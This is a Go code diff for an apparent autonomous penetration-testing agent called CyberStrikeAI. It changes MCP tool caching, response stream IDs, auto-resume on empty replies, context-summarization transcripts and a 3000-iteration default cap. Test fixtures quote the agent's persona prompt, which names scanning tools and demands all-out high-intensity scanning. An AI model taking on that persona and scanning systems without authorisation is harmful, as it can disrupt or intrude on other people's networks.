-			tools, err := c.ListTools(ctx)
+			tools, err := m.listToolsDeduped(ctx, n, c)
 			cancel()
 
 			if err != nil {
-				errStr := err.Error()
-				// SSE 连接 EOF：远端可能关闭了流或未按规范在流上推送响应，仅首次用 Warn 提示
-				if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
-					m.logger.Warn("获取外部MCP工具数量失败（SSE 流已关闭或服务端未在流上返回 tools/list 响应）",
-						zap.String("name", n),
-						zap.String("hint", "若为 SSE 连接，请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
-						zap.Error(err),
-					)
-				} else {
+				if !isConnectionDeadError(err) {
 					m.logger.Warn("获取外部MCP工具数量失败，请检查连接或服务端 tools/list",
 						zap.String("name", n),
 						zap.Error(err),
 					)
 				}
-				resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值
+				resultChan <- countResult{name: n, count: -1}
 				return
 			}
 
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
 	if !client.IsConnected() {
 		return
 	}
-
-	// 检查状态，如果是error状态，不更新缓存
-	status := client.GetStatus()
-	if status == "error" {
+	if client.GetStatus() == "error" {
 		m.logger.Debug("跳过刷新工具列表缓存（连接失败）",
 			zap.String("name", name),
-			zap.String("status", status),
 		)
 		return
 	}
 
-	// 使用较短的超时时间（5秒）
-	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+	ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
 	defer cancel()
-
-	tools, err := client.ListTools(ctx)
-	if err != nil {
+	if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
 		m.logger.Debug("刷新工具列表缓存失败",
 			zap.String("name", name),
 			zap.Error(err),
 		)
-		// 刷新失败时不更新缓存，保留旧缓存（如果有）
-		return
 	}
-
-	// 使用统一的缓存更新方法
-	m.updateToolCache(name, tools)
 }
 
 // startToolCountRefresh 启动后台刷新工具数量的goroutine
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
 	m.refreshWg.Add(1)
 	go func() {
 		defer m.refreshWg.Done()
-		ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次
+		ticker := time.NewTicker(externalToolCountRefreshInterval)
 		defer ticker.Stop()
 
 		// 立即执行一次刷新
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
 		zap.String("name", name),
 	)
 
+	m.onClientConnected(name)
+
 	// 连接成功，触发工具数量刷新和工具列表缓存刷新
 	m.triggerToolCountRefresh()
 	m.mu.RLock()
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
 	for name, client := range m.clients {
 		client.Close()
 		delete(m.clients, name)
+		m.clearReconnectState(name)
 	}
 
 	// 清理所有工具数量缓存
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
 
 	// 清理所有工具列表缓存
 	m.toolCacheMu.Lock()
-	m.toolCache = make(map[string][]Tool)
+	m.toolCache = make(map[string]toolListCacheEntry)
 	m.toolCacheMu.Unlock()
 
 	// 停止后台刷新（使用 select 避免重复关闭 channel）

internal/multiagent/eino_adk_run_loop.go

@@ -176,6 +176,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 	lastPlanExecuteExecutor = ""
 	var reasoningStreamSeq int64
 	var einoSubReplyStreamSeq int64
+	var mainResponseStreamSeq int64
 	toolEmitSeen := make(map[string]struct{})
 	var einoMainRound int
 	var einoLastAgent string
@@ -632,6 +633,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		mv := ev.Output.MessageOutput
 
 		if mv.IsStreaming && mv.MessageStream != nil {
+			mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
 			streamHeaderSent := false
 			var reasoningStreamID string
 			var toolStreamFragments []schema.ToolCall
@@ -738,6 +740,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 											"einoRole":           "orchestrator",
 											"einoAgent":          ev.AgentName,
 											"orchestration":      orchMode,
+											"iteration":          einoMainRound,
+											"streamId":           mainStreamID,
 										})
 										streamHeaderSent = true
 									}
@@ -747,6 +751,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 										"einoRole":        "orchestrator",
 										"einoAgent":       ev.AgentName,
 										"orchestration":   orchMode,
+										"iteration":     einoMainRound,
+										"streamId":        mainStreamID,
 									}, mainAssistantBuf))
 									mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta)
 								}
@@ -806,6 +812,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 										"einoRole":           "orchestrator",
 										"einoAgent":          ev.AgentName,
 										"orchestration":      orchMode,
+										"iteration":          einoMainRound,
+										"streamId":           mainStreamID,
 									})
 								}
 								progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{
@@ -814,6 +822,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 									"einoRole":        "orchestrator",
 									"einoAgent":       ev.AgentName,
 									"orchestration":   orchMode,
+									"iteration":       einoMainRound,
+									"streamId":        mainStreamID,
 								}, mainAssistantBuf))
 								mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail)
 							}
@@ -916,6 +926,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 						}
 						executeStdoutDupMu.Unlock()
 						if progress != nil {
+							nonStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
 							progress("response_start", "", map[string]interface{}{
 								"conversationId":     conversationID,
 								"mcpExecutionIds":    snapshotMCPIDs(),
@@ -923,6 +934,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 								"einoRole":           "orchestrator",
 								"einoAgent":          ev.AgentName,
 								"orchestration":      orchMode,
+								"iteration":          einoMainRound,
+								"streamId":           nonStreamID,
 							})
 							progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{
 								"conversationId":  conversationID,
@@ -930,6 +943,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 								"einoRole":        "orchestrator",
 								"einoAgent":       ev.AgentName,
 								"orchestration":   orchMode,
+								"iteration":       einoMainRound,
+								"streamId":        nonStreamID,
 							}, body))
 						}
 						lastAssistant = body
@@ -1012,9 +1027,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
 		lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
 	)
+	if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
+		if logger != nil {
+			logger.Info("eino empty response, ending run segment for handler resume",
+				zap.String("conversationId", conversationID),
+				zap.String("orchestration", orchMode),
+				zap.Int("traceMessages", len(runAccumulatedMsgs)))
+		}
+		if progress != nil {
+			progress("eino_empty_response_continue", "会话已结束但未产生助手正文，正在基于轨迹自动续跑…", map[string]interface{}{
+				"conversationId": conversationID,
+				"source":         "eino",
+				"resumeKind":     "trace_segment",
+			})
+		}
+		return out, ErrEmptyResponseContinue
+	}
 	return out, nil
 }
 
+func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
+	if out == nil || accumulatedLen <= baseCount {
+		return false
+	}
+	return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
+}
+
 func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
 	if args != nil && args.ModelFacingTrace != nil {
 		if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {

internal/multiagent/eino_empty_response_test.go

@@ -0,0 +1,21 @@
+package multiagent
+
+import "testing"
+
+func TestShouldEinoEmptyResponseContinue(t *testing.T) {
+	t.Parallel()
+	hint := "(empty hint)"
+	out := &RunResult{Response: hint}
+	if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
+		t.Fatal("expected continue when response is empty hint and trace grew")
+	}
+	if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
+		t.Fatal("expected no continue when trace did not grow")
+	}
+	if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
+		t.Fatal("expected no continue when response has content")
+	}
+	if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
+		t.Fatal("expected no continue for nil result")
+	}
+}

internal/multiagent/eino_middleware.go

@@ -43,22 +43,6 @@ func sanitizeEinoPathSegment(s string) string {
 	return s
 }
 
-// localPlantaskBackend wraps the eino-ext local backend with plantask.Delete (Local has no Delete).
-type localPlantaskBackend struct {
-	*localbk.Local
-}
-
-func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
-	if l == nil || l.Local == nil || req == nil {
-		return nil
-	}
-	p := strings.TrimSpace(req.FilePath)
-	if p == "" {
-		return nil
-	}
-	return os.Remove(p)
-}
-
 func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
 	if alwaysVisible <= 0 || len(all) <= alwaysVisible+1 {
 		return all, nil, false
@@ -67,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
 }
 
 func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
-	nameSet := make(map[string]struct{}, len(names))
-	for _, n := range names {
-		n = strings.TrimSpace(strings.ToLower(n))
-		if n == "" {
-			continue
-		}
-		nameSet[n] = struct{}{}
-	}
+	nameSet := expandAlwaysVisibleNameSet(names)
 	if len(nameSet) == 0 {
 		return splitToolsForToolSearch(all, fallbackAlwaysVisible)
 	}
@@ -87,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
 		info, err := t.Info(context.Background())
 		name := ""
 		if err == nil && info != nil {
-			name = strings.TrimSpace(strings.ToLower(info.Name))
+			name = info.Name
 		}
-		if _, keep := nameSet[name]; keep {
+		if toolMatchesAlwaysVisible(name, nameSet) {
 			static = append(static, t)
 			continue
 		}
@@ -238,7 +215,7 @@ func prependEinoMiddlewares(
 			if mk := os.MkdirAll(baseDir, 0o755); mk != nil {
 				return nil, nil, toolSearchActive, fmt.Errorf("plantask mkdir: %w", mk)
 			}
-			ptBE := &localPlantaskBackend{Local: einoLoc}
+			ptBE := newLocalPlantaskBackend(einoLoc)
 			pt, perr := plantask.New(ctx, &plantask.Config{Backend: ptBE, BaseDir: baseDir})
 			if perr != nil {
 				return nil, nil, toolSearchActive, fmt.Errorf("plantask: %w", perr)

internal/multiagent/eino_single_runner.go

@@ -117,6 +117,7 @@ func RunEinoSingleChatModelAgent(
 		},
 	}
 	httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
+	openai.AttachSummarizationDiagTransport(httpClient, logger)
 
 	baseModelCfg := &einoopenai.ChatModelConfig{
 		APIKey:     appCfg.OpenAI.APIKey,
@@ -160,13 +161,7 @@ func RunEinoSingleChatModelAgent(
 		handlers = append(handlers, capMw)
 	}
 
-	maxIter := ma.MaxIteration
-	if maxIter <= 0 {
-		maxIter = appCfg.Agent.MaxIterations
-	}
-	if maxIter <= 0 {
-		maxIter = 40
-	}
+	maxIter := agentMaxIterations(appCfg)
 
 	mainToolsCfg := adk.ToolsConfig{
 		ToolsNodeConfig: compose.ToolsNodeConfig{

internal/multiagent/eino_summarize.go

@@ -9,15 +9,19 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/config"
+	copenai "cyberstrike-ai/internal/openai"
 
 	"github.com/bytedance/sonic"
 	"github.com/cloudwego/eino/adk"
 	"github.com/cloudwego/eino/adk/middlewares/summarization"
 	"github.com/cloudwego/eino/components/model"
 	"github.com/cloudwego/eino/schema"
+	einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
 	"go.uber.org/zap"
 )
 
+const defaultSummarizationRetryMax = 3
+
 // einoSummarizeUserInstruction：压缩历史时保留渗透测试关键信息。
 const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
 
@@ -89,8 +93,32 @@ func newEinoSummarizationMiddleware(
 		}
 	}
 
+	retryMax := defaultSummarizationRetryMax
+	if mwCfg != nil && mwCfg.SummarizationRetryMaxAttempts > 0 {
+		retryMax = mwCfg.SummarizationRetryMaxAttempts
+	}
+
+	// ModelOptions apply only to summarization Generate (same ChatModel instance as the agent).
+	// Strip thinking/reasoning on this call path; mark requests for empty-choices diagnostics.
+	summaryModelOpts := []model.Option{
+		einoopenai.WithExtraHeader(map[string]string{
+			copenai.SummarizationRequestHeader: "1",
+		}),
+		einoopenai.WithRequestPayloadModifier(func(_ context.Context, in []*schema.Message, rawBody []byte) ([]byte, error) {
+			if logger != nil {
+				logger.Info("eino summarization generate request",
+					zap.Int("input_messages", len(in)),
+					zap.Int("payload_bytes", len(rawBody)),
+					zap.String("model", modelName),
+				)
+			}
+			return stripReasoningFromSummarizationPayload(rawBody)
+		}),
+	}
+
 	mw, err := summarization.New(ctx, &summarization.Config{
-		Model: summaryModel,
+		Model:        summaryModel,
+		ModelOptions: summaryModelOpts,
 		Trigger: &summarization.TriggerCondition{
 			ContextTokens: trigger,
 		},
@@ -102,24 +130,43 @@ func newEinoSummarizationMiddleware(
 			Enabled:   true,
 			MaxTokens: preserveMax,
 		},
+		Retry: &summarization.RetryConfig{
+			MaxRetries: &retryMax,
+			ShouldRetry: func(_ context.Context, _ adk.Message, err error) bool {
+				if err != nil && logger != nil {
+					logger.Warn("eino summarization generate attempt failed, will retry if attempts remain",
+						zap.Error(err),
+						zap.Int("max_retries", retryMax),
+					)
+				}
+				return err != nil
+			},
+		},
 		Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
 			return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
 		},
 		Callback: func(ctx context.Context, before, after adk.ChatModelAgentState) error {
-			if logger == nil {
-				return nil
+			if transcriptPath != "" && len(before.Messages) > 0 {
+				if werr := writeSummarizationTranscript(transcriptPath, before.Messages); werr != nil && logger != nil {
+					logger.Warn("eino summarization transcript 写入失败",
+						zap.String("path", transcriptPath),
+						zap.Error(werr),
+					)
+				}
+			}
+			if logger != nil {
+				beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
+				afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
+				logger.Info("eino summarization 已压缩上下文",
+					zap.Int("messages_before", len(before.Messages)),
+					zap.Int("messages_after", len(after.Messages)),
+					zap.Int("tokens_before_estimated", beforeTokens),
+					zap.Int("tokens_after_estimated", afterTokens),
+					zap.Int("max_total_tokens", maxTotal),
+					zap.Int("trigger_context_tokens", trigger),
+					zap.String("transcript_file", transcriptPath),
+				)
 			}
-			beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
-			afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
-			logger.Info("eino summarization 已压缩上下文",
-				zap.Int("messages_before", len(before.Messages)),
-				zap.Int("messages_after", len(after.Messages)),
-				zap.Int("tokens_before_estimated", beforeTokens),
-				zap.Int("tokens_after_estimated", afterTokens),
-				zap.Int("max_total_tokens", maxTotal),
-				zap.Int("trigger_context_tokens", trigger),
-				zap.String("transcript_file", transcriptPath),
-			)
 			return nil
 		},
 	})
@@ -295,6 +342,23 @@ func splitMessagesIntoRounds(msgs []adk.Message) []messageRound {
 	return rounds
 }
 
+// writeSummarizationTranscript persists pre-compaction history for read_file after summarization.
+// Eino TranscriptFilePath only embeds the path in summary text; the file must be written by the host app.
+func writeSummarizationTranscript(path string, msgs []adk.Message) error {
+	path = strings.TrimSpace(path)
+	if path == "" {
+		return nil
+	}
+	body := formatSummarizationTranscript(msgs)
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return fmt.Errorf("mkdir transcript dir: %w", err)
+	}
+	if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
+		return fmt.Errorf("write transcript: %w", err)
+	}
+	return nil
+}
+
 func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
 	tc := agent.NewTikTokenCounter()
 	return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {

internal/multiagent/eino_summarize_payload.go

@@ -0,0 +1,35 @@
+package multiagent
+
+import (
+	"github.com/bytedance/sonic"
+)
+
+// stripReasoningFromSummarizationPayload removes thinking / reasoning fields from a
+// chat-completions JSON body. Applied only to summarization Generate calls via
+// model.ModelOptions on the shared ChatModel — main-agent requests are unchanged.
+func stripReasoningFromSummarizationPayload(rawBody []byte) ([]byte, error) {
+	var payload map[string]any
+	if err := sonic.Unmarshal(rawBody, &payload); err != nil {
+		return rawBody, nil
+	}
+	changed := false
+	for _, key := range []string{
+		"thinking",
+		"reasoning_effort",
+		"output_config",
+		"reasoning",
+	} {
+		if _, ok := payload[key]; ok {
+			delete(payload, key)
+			changed = true
+		}
+	}
+	if !changed {
+		return rawBody, nil
+	}
+	out, err := sonic.Marshal(payload)
+	if err != nil {
+		return rawBody, err
+	}
+	return out, nil
+}

internal/multiagent/eino_summarize_payload_test.go

@@ -0,0 +1,30 @@
+package multiagent
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestStripReasoningFromSummarizationPayload(t *testing.T) {
+	in := []byte(`{"model":"deepseek-chat","messages":[],"thinking":{"type":"enabled"},"reasoning_effort":"high"}`)
+	out, err := stripReasoningFromSummarizationPayload(in)
+	if err != nil {
+		t.Fatal(err)
+	}
+	s := string(out)
+	if strings.Contains(s, "thinking") || strings.Contains(s, "reasoning_effort") {
+		t.Fatalf("expected reasoning fields stripped, got %s", s)
+	}
+	if !strings.Contains(s, `"model":"deepseek-chat"`) {
+		t.Fatalf("expected model preserved, got %s", s)
+	}
+
+	plain := []byte(`{"model":"gpt-4o","messages":[]}`)
+	out2, err := stripReasoningFromSummarizationPayload(plain)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(out2) != string(plain) {
+		t.Fatalf("expected unchanged payload, got %s", out2)
+	}
+}

internal/multiagent/eino_summarize_test.go

@@ -2,6 +2,9 @@ package multiagent
 
 import (
 	"context"
+	"os"
+	"path/filepath"
+	"strings"
 	"testing"
 
 	"github.com/cloudwego/eino/adk"
@@ -343,3 +346,91 @@ func assertNoOrphanTool(t *testing.T, msgs []adk.Message) {
 		}
 	}
 }
+
+func TestWriteSummarizationTranscript(t *testing.T) {
+	t.Parallel()
+	dir := t.TempDir()
+	path := filepath.Join(dir, "summarization", "transcript.txt")
+	msgs := []adk.Message{
+		schema.UserMessage("scan target"),
+		assistantToolCallsMsg("", "tc1"),
+		schema.ToolMessage("nmap output", "tc1"),
+	}
+	if err := writeSummarizationTranscript(path, msgs); err != nil {
+		t.Fatalf("writeSummarizationTranscript: %v", err)
+	}
+	body, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("read transcript: %v", err)
+	}
+	text := string(body)
+	if !strings.Contains(text, "Pre-compaction session record") {
+		t.Fatalf("missing transcript header: %q", text)
+	}
+	if !strings.Contains(text, "[user]") || !strings.Contains(text, "scan target") {
+		t.Fatalf("missing user section: %q", text)
+	}
+	if !strings.Contains(text, "tool_calls:") || !strings.Contains(text, "nmap output") {
+		t.Fatalf("missing tool round: %q", text)
+	}
+}
+
+func TestSanitizeSystemContentForTranscript_BestPractice(t *testing.T) {
+	t.Parallel()
+	system := strings.Join([]string{
+		"以下是当前会话绑定的工具名称索引（仅名称，无参数 JSON Schema）。",
+		"- nmap",
+		"- nuclei",
+		"",
+		"使用规则：",
+		"1) 上表仅为名称索引",
+		"5) 不要臆造不存在的工具名。",
+		"",
+		"你是CyberStrikeAI，是一个专业的网络安全渗透测试专家。",
+		"高强度扫描要求：全力出击",
+		"",
+		"## 项目黑板索引（project: 123, id: abc）",
+		"（暂无事实）",
+		"需要写入请使用 upsert_project_fact。",
+		"",
+		"# Skills System",
+		"**How to Use Skills**",
+		"Remember: Skills make you more capable",
+	}, "\n")
+
+	out := sanitizeSystemContentForTranscript(system)
+	if strings.Contains(out, "以下是当前会话绑定的工具名称索引") {
+		t.Fatalf("tool index should be stripped: %q", out)
+	}
+	if strings.Contains(out, "- nmap") || strings.Contains(out, "高强度扫描要求") {
+		t.Fatalf("static persona should be stripped: %q", out)
+	}
+	if strings.Contains(out, "# Skills System") || strings.Contains(out, "How to Use Skills") {
+		t.Fatalf("skills boilerplate should be stripped: %q", out)
+	}
+	if !strings.Contains(out, transcriptStaticSystemOmitNote) {
+		t.Fatalf("missing omission note: %q", out)
+	}
+	if !strings.Contains(out, "## 项目黑板索引（project: 123, id: abc）") {
+		t.Fatalf("project blackboard should be kept: %q", out)
+	}
+}
+
+func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) {
+	t.Parallel()
+	msgs := []adk.Message{
+		schema.SystemMessage("以下是当前会话绑定的工具名称索引\n- nmap\n\n你是CyberStrikeAI\n## 项目黑板索引（project: p1, id: x）\n（暂无事实）\n# Skills System\nboiler"),
+		schema.UserMessage("hello"),
+		schema.AssistantMessage("reply", nil),
+	}
+	out := formatSummarizationTranscript(msgs)
+	if strings.Contains(out, "- nmap") {
+		t.Fatalf("tool list leaked into transcript: %q", out)
+	}
+	if !strings.Contains(out, "hello") || !strings.Contains(out, "reply") {
+		t.Fatalf("conversation turns missing: %q", out)
+	}
+	if !strings.Contains(out, "## 项目黑板索引（project: p1, id: x）") {
+		t.Fatalf("dynamic blackboard missing: %q", out)
+	}
+}

internal/multiagent/eino_summarize_transcript.go

@@ -0,0 +1,145 @@
+package multiagent
+
+import (
+	"strings"
+
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/schema"
+
+	"github.com/bytedance/sonic"
+)
+
+const (
+	transcriptFileHeader = `# CyberStrikeAI summarization transcript
+# Pre-compaction session record for read_file after context compression.
+# Omits static system/tool-index/skills boilerplate; full user/assistant/tool turns below.
+
+`
+	transcriptStaticSystemOmitNote = "[static system prompt omitted — unchanged in live context after compaction]"
+	transcriptToolIndexStartMarker   = "以下是当前会话绑定的工具名称索引"
+	transcriptPersonaStartMarker     = "你是CyberStrikeAI"
+	transcriptSkillsSystemMarker     = "# Skills System"
+	transcriptProjectBlackboardMarker  = "## 项目黑板索引"
+)
+
+// formatSummarizationTranscript renders pre-compaction messages for transcript.txt.
+// Best practice: keep full user/assistant/tool turns; slim system to dynamic blocks only.
+func formatSummarizationTranscript(msgs []adk.Message) string {
+	var sb strings.Builder
+	sb.WriteString(transcriptFileHeader)
+	wrote := false
+	for _, msg := range msgs {
+		if msg == nil {
+			continue
+		}
+		switch msg.Role {
+		case schema.System:
+			body := sanitizeSystemContentForTranscript(msg.Content)
+			if strings.TrimSpace(body) == "" {
+				continue
+			}
+			if wrote {
+				sb.WriteString("\n")
+			}
+			appendTranscriptSection(&sb, schema.System, body)
+			wrote = true
+		default:
+			if wrote {
+				sb.WriteString("\n")
+			}
+			appendTranscriptMessage(&sb, msg)
+			wrote = true
+		}
+	}
+	return sb.String()
+}
+
+func sanitizeSystemContentForTranscript(content string) string {
+	content = stripToolNamesIndexFromSystem(content)
+	content = stripSkillsSystemBoilerplate(content)
+	blackboard := extractProjectBlackboardSection(content)
+
+	var sb strings.Builder
+	sb.WriteString(transcriptStaticSystemOmitNote)
+	if bb := strings.TrimSpace(blackboard); bb != "" {
+		sb.WriteString("\n\n")
+		sb.WriteString(bb)
+	}
+	return sb.String()
+}
+
+func stripToolNamesIndexFromSystem(s string) string {
+	if !strings.Contains(s, transcriptToolIndexStartMarker) {
+		return s
+	}
+	idx := strings.Index(s, transcriptPersonaStartMarker)
+	if idx < 0 {
+		return s
+	}
+	return strings.TrimSpace(s[idx:])
+}
+
+func stripSkillsSystemBoilerplate(s string) string {
+	idx := strings.Index(s, transcriptSkillsSystemMarker)
+	if idx < 0 {
+		return strings.TrimSpace(s)
+	}
+	return strings.TrimSpace(s[:idx])
+}
+
+func extractProjectBlackboardSection(s string) string {
+	idx := strings.Index(s, transcriptProjectBlackboardMarker)
+	if idx < 0 {
+		return ""
+	}
+	return strings.TrimSpace(s[idx:])
+}
+
+func appendTranscriptSection(sb *strings.Builder, role schema.RoleType, body string) {
+	sb.WriteString("--- [")
+	sb.WriteString(string(role))
+	sb.WriteString("] ---\n")
+	sb.WriteString(body)
+	if !strings.HasSuffix(body, "\n") {
+		sb.WriteByte('\n')
+	}
+}
+
+func appendTranscriptMessage(sb *strings.Builder, msg adk.Message) {
+	sb.WriteString("--- [")
+	sb.WriteString(string(msg.Role))
+	sb.WriteString("] ---\n")
+	if msg.Content != "" {
+		sb.WriteString(msg.Content)
+		if !strings.HasSuffix(msg.Content, "\n") {
+			sb.WriteByte('\n')
+		}
+	}
+	if msg.ReasoningContent != "" {
+		sb.WriteString("[reasoning]\n")
+		sb.WriteString(msg.ReasoningContent)
+		if !strings.HasSuffix(msg.ReasoningContent, "\n") {
+			sb.WriteByte('\n')
+		}
+	}
+	for _, part := range msg.UserInputMultiContent {
+		if part.Type == schema.ChatMessagePartTypeText && strings.TrimSpace(part.Text) != "" {
+			sb.WriteString(part.Text)
+			if !strings.HasSuffix(part.Text, "\n") {
+				sb.WriteByte('\n')
+			}
+		}
+	}
+	if len(msg.ToolCalls) > 0 {
+		if b, err := sonic.Marshal(msg.ToolCalls); err == nil {
+			sb.WriteString("tool_calls: ")
+			sb.Write(b)
+			sb.WriteByte('\n')
+		}
+	}
+	if msg.ToolCallID != "" {
+		sb.WriteString("tool_call_id: ")
+		sb.WriteString(msg.ToolCallID)
+		sb.WriteByte('\n')
+	}
+}

internal/multiagent/interrupt.go

@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
 // ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束，应由 handler 落库轨迹后
 // loadHistoryFromAgentTrace 再开下一轮 Run（与 ErrInterruptContinue 同级的「分段续跑」语义）。
 var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
+
+// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文，应由 handler 落库轨迹后
+// loadHistoryFromAgentTrace 再开下一轮 Run（与 ErrInterruptContinue / ErrTransientRetryContinue 同级）。
+var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")

internal/multiagent/max_iterations.go

@@ -0,0 +1,22 @@
+package multiagent
+
+import "cyberstrike-ai/internal/config"
+
+const defaultAgentMaxIterations = 3000
+
+// agentMaxIterations 全局上限：仅使用 config.agent.max_iterations；≤0 时与 config 默认一致为 3000。
+func agentMaxIterations(appCfg *config.Config) int {
+	if appCfg != nil && appCfg.Agent.MaxIterations > 0 {
+		return appCfg.Agent.MaxIterations
+	}
+	return defaultAgentMaxIterations
+}
+
+// resolveMaxIterations 统一迭代上限：Markdown/子代理 front matter 中 max_iterations>0 可单独覆盖，否则使用 agent.max_iterations。
+// multi_agent.max_iteration 与 sub_agent_max_iterations 已废弃，不再参与计算。
+func resolveMaxIterations(appCfg *config.Config, markdownOverride int) int {
+	if markdownOverride > 0 {
+		return markdownOverride
+	}
+	return agentMaxIterations(appCfg)
+}

internal/multiagent/max_iterations_test.go

@@ -0,0 +1,31 @@
+package multiagent
+
+import (
+	"testing"
+
+	"cyberstrike-ai/internal/config"
+)
+
+func TestAgentMaxIterations(t *testing.T) {
+	if got := agentMaxIterations(nil); got != defaultAgentMaxIterations {
+		t.Fatalf("nil cfg: got %d want %d", got, defaultAgentMaxIterations)
+	}
+	cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
+	if got := agentMaxIterations(cfg); got != 12000 {
+		t.Fatalf("got %d want 12000", got)
+	}
+	cfg.Agent.MaxIterations = 0
+	if got := agentMaxIterations(cfg); got != defaultAgentMaxIterations {
+		t.Fatalf("zero: got %d want %d", got, defaultAgentMaxIterations)
+	}
+}
+
+func TestResolveMaxIterations(t *testing.T) {
+	cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
+	if got := resolveMaxIterations(cfg, 0); got != 12000 {
+		t.Fatalf("global: got %d want 12000", got)
+	}
+	if got := resolveMaxIterations(cfg, 50); got != 50 {
+		t.Fatalf("override: got %d want 50", got)
+	}
+}

internal/multiagent/plantask_local_backend.go

@@ -0,0 +1,71 @@
+package multiagent
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	localbk "github.com/cloudwego/eino-ext/adk/backend/local"
+	"github.com/cloudwego/eino/adk/middlewares/plantask"
+)
+
+// localPlantaskBackend adapts eino-ext local filesystem backend for Eino plantask.
+//
+// plantask TaskCreate/TaskList list a directory via LsInfo, then Read using each entry's Path.
+// local.LsInfo returns basenames only (e.g. ".highwatermark"), while local.Read expects a
+// resolvable path — causing "file not found: .highwatermark" on the second TaskCreate.
+type localPlantaskBackend struct {
+	*localbk.Local
+}
+
+func newLocalPlantaskBackend(loc *localbk.Local) *localPlantaskBackend {
+	if loc == nil {
+		return nil
+	}
+	return &localPlantaskBackend{Local: loc}
+}
+
+// LsInfo lists files under req.Path and returns absolute paths suitable for subsequent Read calls.
